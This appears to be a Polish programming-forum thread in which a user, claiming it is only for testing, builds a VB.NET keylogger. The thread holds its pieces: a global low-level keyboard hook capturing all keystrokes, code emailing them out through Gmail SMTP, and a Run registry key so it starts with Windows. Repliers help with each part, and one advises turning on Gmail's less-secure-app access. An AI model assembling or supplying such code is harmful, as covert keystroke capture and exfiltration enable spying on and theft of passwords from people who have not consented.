Klawisze z klawiatury

0

Witam, tworzę programik tylko do celów testowych wciskanych klawiszy które będą wysyłane na mój email. Chciałem się tylko sprawdzić czy dam radę od podstaw ; )

Otóż, zrobiłem, że klawisze są wysyłane na emaila ale tylko z "RichTextBox1" czyli jakby wysyłało tylko wpisane z notatnika.
Kawałek kodu:

If Key = Keys.A Then
RichTextBox1.Text = RichTextBox1.Text & "a"
ElseIf Key = Keys.B Then
RichTextBox1.Text = RichTextBox1.Text & "b"
itp. itp..

Czy da radę żeby wysłało klawisze wciśnięte po za notatnikiem? np. jak wejdę sobie na google i tam coś wpiszę ??

Wtedy w:

MyMailMessage.Body = 

Co wpisać?

1

tylko do celów testowych wciskanych klawiszy które będą wysyłane na mój email.

yhy, bo niewinny sie tlumaczy :D

nie wiem co to za jezyk, ale dla C# masz tutaj
https://stackoverflow.com/questions/604410/global-keyboard-capture-in-c-sharp-application

0

@fasadin: Naprawdę :D

Mój kod jest w vb.net, C# niestety nie znam za dobrze :o :/

0

@fasadin: Dzięki, teraz będę mógł coś popracować.

Natomiast inne pytanie, jak zezwolić Gmail'owi aby pozwalał wysyłać wiadomości z aplikacji? Po uruchomieniu programu, odczekaniu kilku minut przychodzi tylko wiadomość: "Critical security alert" że ktoś próbował się połączyć z moim kontem, klikam że to byłem ja, następnie przechodzę do Less secure app access ustawiłem na ON, dzisiaj znów próbuję coś do siebie wysłać i znów ta sama wiadomość chociaż jest app access włączony, znów potwierdzam, że to byłem ja, jednak potem nic się nie dzieje, nic więcej nie przychodzi.. Ma ktoś jakieś pomysły? (Zdjęcia komunikatów):

1

Biblioteka SMTP, która jest na wyposażeniu .NET ma ograniczoną funkcjonalność jeśli chodzi o TLS/SSL.

Zamiast niej, proponuje użyć biblioteki MailKit/MimeKit:
https://github.com/jstedfast/MimeKit/releases
https://github.com/jstedfast/MailKit/releases
https://www.nuget.org/packages/MimeKit/
https://www.nuget.org/packages/MailKit/

Za pomocą tej biblioteki wysyłanie z GMail działało prawidłowo i bez problemów, sam testowałem pół roku temu. Za pomocą wymienionych wyżej bibliotek podłączysz się do konta mailowego po porcie TLS/SSL (na ogół 465). Natomiast SMTP wbudowany tak działa, że nawet, jak chcesz szyfrowanie, to trzeba podać port do łączności bez szyfrowania (na ogół 587 lub 25) i ewentualne szyfrowanie zostanie wynegocjowane na tym połączeniu.

Inna opcja, trochę bardziej skomplikowana i pozwalająca użyć SSL na SMTP wbudowanym w .NET, to program STunnel. W tym programie konfigurujesz przekierowanie portów tak, że jako adres SMTP podajesz adres swojego komputera, a STunnel według swojej konfiguracji połączy się z adresem SMTP docelowym już używając szyfrowania. Ja nie bardzo pamiętam, bo tylko raz skonfigurowałem, zrobiłem jedną próbę z powodzeniem i puściłem w niepamięć po poznaniu bibliotek MailKit i MimeKit. Za pomocą www.google.com na pewno można się dowiedzieć, jak ustawić i użyć STunnel, aby ominąć powyższy problem.

1

W Gmailu w ustawieniach konta musisz zaznaczyć "Zezwól na dostęp mniej bezpiecznych aplikacji", inaczej ze swojej apki nic nie wyślesz i otrzymasz wyjątek o braku autoryzacji.
do wysłania maila wystarczy:

 public async Task SendEmailAsync(string email, string subject, string htmlMessage)
        {
            using (var client = new SmtpClient(_smtpSettings.MailServer, _smtpSettings.MailPort))
            {
                client.UseDefaultCredentials = false;
                client.EnableSsl = true;
                client.Credentials = new NetworkCredential(_smtpSettings.UserName, _smtpSettings.Password);
                client.Timeout = 20;

                MailMessage msg = new MailMessage(_smtpSettings.SenderEmail, email, subject, htmlMessage);
                msg.IsBodyHtml = true;
                await client.SendMailAsync(msg);
            }
        }

Utwórz sobie ciągi o następujących danych:

"EmailSettings": {
    "MailServer": "smtp.gmail.com",
    "MailPort": 587,
    "SenderName": "Nazwa nadawcy",
    "SenderEmail": "Email nadawcy",
    "UserName": "Nazwa użytkownika do logowania na emaila nadawcy",
    "Password": "Hasło do logowania na emaila nadawcy",
    "EnableSsl": true,
  },
0

Tak, tak dziękuję już wszystko działa, ponieważ ustawiłem dostęp do mniej bezpiecznych aplikacji tylko na gmailu a musiałem jeszcze na głównym koncie google, teraz wysyła prawidłowo.

Nastomiast inne pytanie, chciałbym aby program / aplikacja uruchamiała się razem z włączeniem komputera / laptopa, czyli dodaniu go do rejestru:

Imports Microsoft.Win32

Dim regKey As Microsoft.Win32.RegistryKeyregKey
regKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True)
regKey.SetValue(Application.MyApp, Application.InstallPath???)
regKey.Close()

Teraz mam pytanie, czy w Application.MyApp wpisać tylko swoją nazwę programu / aplikacji czy musi być z tym "Application. " ? oraz co wpisać w InstallPath?
Oraz jeśli zrobiłem jakiś błąd proszę o wyjaśnienie

0

Ja nie chce nic mówić, ale włączać program do autorunu systemowego a nie currentuser wiąże się z tym, że jak ktoś zainstaluje program na pulpicie a potem się zaloguje na innego użytkownika który nie będzie administratorem będziesz miał wyjątki. Jeżeli chodzi o install patch ma to być po prostu ścieżka do pliku który ma zostać otwarty, a MyApp to nazwa wartości

0

@Grzegorz Świdwa: A w jaki sposób zrobić autorun na currenuser'a? Szczerze nie robiłem tego jeszcze i znalazłem tylko informacje do powyższego przykładu

0

Ścieżka klucza identyczna tylko nie HKLM a HKCU. Każdy użytkownik ma swoje własne drzewo hkcu

0

@Grzegorz Świdwa: Dobrze, a więc wyglądałoby to w ten sposób?:

Imports Microsoft.Win32

Dim regKey As RegistryKey
regKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True)
regKey.SetValue("Program", "C:\Program Files (x86)\Programy\Mój Program\Program.exe")
regKey.Close()

Teraz pytanie może dość dziwne, lecz jeszcze nie pracowałem w programie ze ścieżkami do plików, dotyczące ścieżki pliku czy w "Program Files (x86)" oraz "Mój Program" ta spacja pomiędzy wyrazami nic nie robi?

0

@Grzegorz Świdwa: Tak Kompiluje się, jednak po uruchomieniu programu, i wpisaniu byle jakiej litery lub cyfry występuje błąd:
" Form1+KeyboardHook::CallNextHookEx " zachwiało równowagą stosu. Prawdopodobna przyczyna to niedopasowanie zarządzanego podpisu funkcji PInvoke i niezarządzanego podpisu docelowego. Sprawdź czy konwencja wywołania i parametry podpisu funkcji PInvoke pasują do niezarządzanego podpisu docelowego.

Private Declare Function SetWindowsHookEx Lib "user32" _
        Alias "SetWindowsHookExA" _
        (ByVal idHook As Integer,
        ByVal lpfn As KeyboardProcDelegate,
        ByVal hmod As Integer,
        ByVal dwThreadId As Integer) As Integer

        Private Declare Function CallNextHookEx Lib "user32" _
        (ByVal hHook As Integer,
         ByVal nCode As Integer,
         ByVal wParam As Integer,
         ByVal lParam As KBDLLHOOKSTRUCT) As Integer

        Private Declare Function UnhookWindowsHookEx Lib "user32" _
        (ByVal hHook As Integer) As Integer


        Private Delegate Function KeyboardProcDelegate _
        (ByVal nCode As Integer,
        ByVal wParam As Integer,
        ByRef lParam As KBDLLHOOKSTRUCT) As Integer

        Public Shared Event KeyDown(ByVal Key As Keys)
        Public Shared Event KeyUp(ByVal Key As Keys)

        Private Shared KeyHook As Integer
        Private Shared KeyHookDelegate As KeyboardProcDelegate

        Public Sub New()

            KeyHookDelegate = New KeyboardProcDelegate(AddressOf KeyboardProc)
            KeyHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyHookDelegate, System.Runtime.InteropServices.Marshal.GetHINSTANCE(System.Reflection.Assembly.GetExecutingAssembly.GetModules()(0)).ToInt32, 0)
        End Sub

        Private Shared Function KeyboardProc(ByVal nCode As Integer, ByVal wParam As Integer, ByRef lParam As KBDLLHOOKSTRUCT) As Integer
            If (nCode = HC_ACTION) Then
                Select Case wParam
                    Case WM_KEYDOWN, WM_SYSKEYDOWN
                        RaiseEvent KeyDown(CType(lParam.vkCode, Keys))
                    Case WM_KEYUP, WM_SYSKEYUP
                        RaiseEvent KeyUp(CType(lParam.vkCode, Keys))
                End Select
            End If
            Return CallNextHookEx(KeyHook, nCode, wParam, lParam)
        End Function

Błąd pojawia się w:

Return CallNextHookEx(KeyHook, nCode, wParam, lParam)

Dodam, że w Project > właściwości > Debuguj odznaczyłem "Enable the Visual Studio hosting process"

0

@Matevsz: Problem wyżej, rozwiązany.

Ostatnie pytanie, dlaczego jak włączam program z bin/release, otwieram menedżera urządzeń i widzę jak program otwiera się dziesiątki razy, x10, x20 itp.. ?

1 użytkowników online, w tym zalogowanych: 0, gości: 1